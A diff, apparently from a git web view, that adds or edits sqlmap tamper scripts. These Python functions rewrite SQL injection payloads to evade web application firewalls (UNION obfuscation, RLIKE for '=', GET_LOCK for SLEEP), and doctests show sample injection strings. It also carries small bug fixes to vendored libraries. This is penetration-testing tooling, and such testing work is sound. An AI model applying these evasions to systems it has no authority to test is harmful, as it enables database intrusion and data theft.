#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
import re
|
||||||
|
|
||||||
|
from lib.core.enums import PRIORITY
|
||||||
|
|
||||||
|
__priority__ = PRIORITY.HIGHEST
|
||||||
|
|
||||||
|
def dependencies():
|
||||||
|
pass
|
||||||
|
|
||||||
|
def tamper(payload, **kwargs):
|
||||||
|
"""
|
||||||
|
Replaces instances of <int> UNION with <int>e0UNION
|
||||||
|
|
||||||
|
Requirement:
|
||||||
|
* MySQL
|
||||||
|
* MsSQL
|
||||||
|
|
||||||
|
Notes:
|
||||||
|
* Reference: https://media.blackhat.com/us-13/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf
|
||||||
|
|
||||||
|
>>> tamper('1 UNION ALL SELECT')
|
||||||
|
'1e0UNION ALL SELECT'
|
||||||
|
"""
|
||||||
|
|
||||||
|
return re.sub("(\d+)\s+(UNION )", r"\g<1>e0\g<2>", payload, re.I) if payload else payload
|
||||||
@@ -0,0 +1,43 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
import re
|
||||||
|
|
||||||
|
from lib.core.enums import PRIORITY
|
||||||
|
|
||||||
|
__priority__ = PRIORITY.HIGHEST
|
||||||
|
|
||||||
|
def dependencies():
|
||||||
|
pass
|
||||||
|
|
||||||
|
def tamper(payload, **kwargs):
|
||||||
|
"""
|
||||||
|
Injects keyword binary where possible
|
||||||
|
|
||||||
|
Requirement:
|
||||||
|
* MySQL
|
||||||
|
|
||||||
|
>>> tamper('1 UNION ALL SELECT NULL, NULL, NULL')
|
||||||
|
'1 UNION ALL SELECT binary NULL, binary NULL, binary NULL'
|
||||||
|
>>> tamper('1 AND 2>1')
|
||||||
|
'1 AND binary 2>binary 1'
|
||||||
|
>>> tamper('CASE WHEN (1=1) THEN 1 ELSE 0x28 END')
|
||||||
|
'CASE WHEN (binary 1=binary 1) THEN binary 1 ELSE binary 0x28 END'
|
||||||
|
"""
|
||||||
|
|
||||||
|
retVal = payload
|
||||||
|
|
||||||
|
if payload:
|
||||||
|
retVal = re.sub(r"\bNULL\b", "binary NULL", retVal)
|
||||||
|
retVal = re.sub(r"\b(THEN\s+)(\d+|0x[0-9a-f]+)(\s+ELSE\s+)(\d+|0x[0-9a-f]+)", r"\g<1>binary \g<2>\g<3>binary \g<4>", retVal)
|
||||||
|
retVal = re.sub(r"(\d+\s*[>=]\s*)(\d+)", r"binary \g<1>binary \g<2>", retVal)
|
||||||
|
retVal = re.sub(r"\b((AND|OR)\s*)(\d+)", r"\g<1>binary \g<3>", retVal)
|
||||||
|
retVal = re.sub(r"([>=]\s*)(\d+)", r"\g<1>binary \g<2>", retVal)
|
||||||
|
retVal = re.sub(r"\b(0x[0-9a-f]+)", r"binary \g<1>", retVal)
|
||||||
|
retVal = re.sub(r"(\s+binary)+", r"\g<1>", retVal)
|
||||||
|
|
||||||
|
return retVal
|
||||||
@@ -0,0 +1,34 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
import os
|
||||||
|
import re
|
||||||
|
|
||||||
|
from lib.core.common import singleTimeWarnMessage
|
||||||
|
from lib.core.enums import DBMS
|
||||||
|
from lib.core.enums import PRIORITY
|
||||||
|
|
||||||
|
__priority__ = PRIORITY.HIGHEST
|
||||||
|
|
||||||
|
def dependencies():
|
||||||
|
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.ORACLE))
|
||||||
|
|
||||||
|
def tamper(payload, **kwargs):
|
||||||
|
"""
|
||||||
|
Replaces instances of <int> UNION with <int>DUNION
|
||||||
|
|
||||||
|
Requirement:
|
||||||
|
* Oracle
|
||||||
|
|
||||||
|
Notes:
|
||||||
|
* Reference: https://media.blackhat.com/us-13/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf
|
||||||
|
|
||||||
|
>>> tamper('1 UNION ALL SELECT')
|
||||||
|
'1DUNION ALL SELECT'
|
||||||
|
"""
|
||||||
|
|
||||||
|
return re.sub("(\d+)\s+(UNION )", r"\g<1>D\g<2>", payload, re.I) if payload else payload
|
||||||
@@ -5,17 +5,14 @@ Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
|||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
import os
|
|
||||||
import re
|
import re
|
||||||
|
|
||||||
from lib.core.common import singleTimeWarnMessage
|
|
||||||
from lib.core.enums import DBMS
|
|
||||||
from lib.core.enums import PRIORITY
|
from lib.core.enums import PRIORITY
|
||||||
|
|
||||||
__priority__ = PRIORITY.HIGHEST
|
__priority__ = PRIORITY.HIGHEST
|
||||||
|
|
||||||
def dependencies():
|
def dependencies():
|
||||||
singleTimeWarnMessage("tamper script '%s' is unlikely to work against %s" % (os.path.basename(__file__).split(".")[0], DBMS.PGSQL))
|
pass
|
||||||
|
|
||||||
def tamper(payload, **kwargs):
|
def tamper(payload, **kwargs):
|
||||||
"""
|
"""
|
||||||
|
|||||||
@@ -0,0 +1,37 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
import re
|
||||||
|
|
||||||
|
from lib.core.enums import PRIORITY
|
||||||
|
|
||||||
|
__priority__ = PRIORITY.HIGHEST
|
||||||
|
|
||||||
|
def dependencies():
|
||||||
|
pass
|
||||||
|
|
||||||
|
def tamper(payload, **kwargs):
|
||||||
|
"""
|
||||||
|
Replaces all occurrences of operator equal ('=') with 'RLIKE' counterpart
|
||||||
|
|
||||||
|
Tested against:
|
||||||
|
* MySQL 4, 5.0 and 5.5
|
||||||
|
|
||||||
|
Notes:
|
||||||
|
* Useful to bypass weak and bespoke web application firewalls that
|
||||||
|
filter the equal character ('=')
|
||||||
|
|
||||||
|
>>> tamper('SELECT * FROM users WHERE id=1')
|
||||||
|
'SELECT * FROM users WHERE id RLIKE 1'
|
||||||
|
"""
|
||||||
|
|
||||||
|
retVal = payload
|
||||||
|
|
||||||
|
if payload:
|
||||||
|
retVal = re.sub(r"\s*=\s*", " RLIKE ", retVal)
|
||||||
|
|
||||||
|
return retVal
|
||||||
+4
-1
@@ -5,16 +5,19 @@ Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
|||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
import os
|
||||||
import re
|
import re
|
||||||
|
|
||||||
|
from lib.core.common import singleTimeWarnMessage
|
||||||
from lib.core.convert import decodeHex
|
from lib.core.convert import decodeHex
|
||||||
from lib.core.convert import getOrds
|
from lib.core.convert import getOrds
|
||||||
|
from lib.core.enums import DBMS
|
||||||
from lib.core.enums import PRIORITY
|
from lib.core.enums import PRIORITY
|
||||||
|
|
||||||
__priority__ = PRIORITY.NORMAL
|
__priority__ = PRIORITY.NORMAL
|
||||||
|
|
||||||
def dependencies():
|
def dependencies():
|
||||||
pass
|
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
|
||||||
|
|
||||||
def tamper(payload, **kwargs):
|
def tamper(payload, **kwargs):
|
||||||
"""
|
"""
|
||||||
|
|||||||
@@ -0,0 +1,36 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
import os
|
||||||
|
import re
|
||||||
|
|
||||||
|
from lib.core.common import singleTimeWarnMessage
|
||||||
|
from lib.core.enums import DBMS
|
||||||
|
from lib.core.enums import PRIORITY
|
||||||
|
|
||||||
|
__priority__ = PRIORITY.HIGHEST
|
||||||
|
|
||||||
|
def dependencies():
|
||||||
|
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
|
||||||
|
|
||||||
|
def tamper(payload, **kwargs):
|
||||||
|
"""
|
||||||
|
Replaces instances of UNION with -.1UNION
|
||||||
|
|
||||||
|
Requirement:
|
||||||
|
* MySQL
|
||||||
|
|
||||||
|
Notes:
|
||||||
|
* Reference: https://raw.githubusercontent.com/y0unge/Notes/master/SQL%20Injection%20WAF%20Bypassing%20shortcut.pdf
|
||||||
|
|
||||||
|
>>> tamper('1 UNION ALL SELECT')
|
||||||
|
'1-.1UNION ALL SELECT'
|
||||||
|
>>> tamper('1" UNION ALL SELECT')
|
||||||
|
'1"-.1UNION ALL SELECT'
|
||||||
|
"""
|
||||||
|
|
||||||
|
return re.sub("\s+(UNION )", r"-.1\g<1>", payload, re.I) if payload else payload
|
||||||
@@ -42,7 +42,7 @@ def tamper(payload, **kwargs):
|
|||||||
>>> tamper('function()')
|
>>> tamper('function()')
|
||||||
'FuNcTiOn()'
|
'FuNcTiOn()'
|
||||||
>>> tamper('SELECT id FROM `user`')
|
>>> tamper('SELECT id FROM `user`')
|
||||||
'SeLeCt Id FrOm `user`'
|
'SeLeCt id FrOm `user`'
|
||||||
"""
|
"""
|
||||||
|
|
||||||
retVal = payload
|
retVal = payload
|
||||||
|
|||||||
@@ -0,0 +1,31 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
import re
|
||||||
|
|
||||||
|
from lib.core.enums import PRIORITY
|
||||||
|
|
||||||
|
__priority__ = PRIORITY.HIGHEST
|
||||||
|
|
||||||
|
def dependencies():
|
||||||
|
pass
|
||||||
|
|
||||||
|
def tamper(payload, **kwargs):
|
||||||
|
"""
|
||||||
|
Splits FROM schema identifiers (e.g. 'testdb.users') with whitespace (e.g. 'testdb 9.e.users')
|
||||||
|
|
||||||
|
Requirement:
|
||||||
|
* MySQL
|
||||||
|
|
||||||
|
Notes:
|
||||||
|
* Reference: https://media.blackhat.com/us-13/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf
|
||||||
|
|
||||||
|
>>> tamper('SELECT id FROM testdb.users')
|
||||||
|
'SELECT id FROM testdb 9.e.users'
|
||||||
|
"""
|
||||||
|
|
||||||
|
return re.sub("( FROM \w+)\.(\w+)", r"\g<1> 9.e.\g<2>", payload, re.I) if payload else payload
|
||||||
@@ -0,0 +1,39 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.data import kb
|
||||||
|
from lib.core.enums import PRIORITY
|
||||||
|
|
||||||
|
__priority__ = PRIORITY.HIGHEST
|
||||||
|
|
||||||
|
def dependencies():
|
||||||
|
pass
|
||||||
|
|
||||||
|
def tamper(payload, **kwargs):
|
||||||
|
"""
|
||||||
|
Replaces instances like 'SLEEP(5)' with (e.g.) "GET_LOCK('ETgP',5)"
|
||||||
|
|
||||||
|
Requirement:
|
||||||
|
* MySQL
|
||||||
|
|
||||||
|
Tested against:
|
||||||
|
* MySQL 5.0 and 5.5
|
||||||
|
|
||||||
|
Notes:
|
||||||
|
* Useful to bypass very weak and bespoke web application firewalls
|
||||||
|
that filter the SLEEP() and BENCHMARK() functions
|
||||||
|
|
||||||
|
* Reference: https://zhuanlan.zhihu.com/p/35245598
|
||||||
|
|
||||||
|
>>> tamper('SLEEP(5)') == "GET_LOCK('%s',5)" % kb.aliasName
|
||||||
|
True
|
||||||
|
"""
|
||||||
|
|
||||||
|
if payload:
|
||||||
|
payload = payload.replace("SLEEP(", "GET_LOCK('%s'," % kb.aliasName)
|
||||||
|
|
||||||
|
return payload
|
||||||
Vendored
+2
-2
@@ -570,7 +570,7 @@ class Route(object):
|
|||||||
|
|
||||||
def prepare(self):
|
def prepare(self):
|
||||||
""" Do all on-demand work immediately (useful for debugging)."""
|
""" Do all on-demand work immediately (useful for debugging)."""
|
||||||
self.call
|
self.call()
|
||||||
|
|
||||||
def all_plugins(self):
|
def all_plugins(self):
|
||||||
""" Yield all Plugins affecting this route. """
|
""" Yield all Plugins affecting this route. """
|
||||||
@@ -1518,7 +1518,7 @@ class BaseRequest(object):
|
|||||||
raise AttributeError("Attribute already defined: %s" % name)
|
raise AttributeError("Attribute already defined: %s" % name)
|
||||||
self.environ[key] = value
|
self.environ[key] = value
|
||||||
|
|
||||||
def __delattr__(self, name, value):
|
def __delattr__(self, name):
|
||||||
try:
|
try:
|
||||||
del self.environ['bottle.request.ext.%s' % name]
|
del self.environ['bottle.request.ext.%s' % name]
|
||||||
except KeyError:
|
except KeyError:
|
||||||
|
|||||||
Vendored
+1
-1
@@ -1930,7 +1930,7 @@ class ListControl(Control):
|
|||||||
raise AttributeError("control '%s' is disabled" % self.name)
|
raise AttributeError("control '%s' is disabled" % self.name)
|
||||||
if self.readonly:
|
if self.readonly:
|
||||||
raise AttributeError("control '%s' is readonly" % self.name)
|
raise AttributeError("control '%s' is readonly" % self.name)
|
||||||
action == bool(action)
|
action = bool(action)
|
||||||
compat = self._form.backwards_compat
|
compat = self._form.backwards_compat
|
||||||
if not compat and item.disabled:
|
if not compat and item.disabled:
|
||||||
raise AttributeError("item is disabled")
|
raise AttributeError("item is disabled")
|
||||||
|
|||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user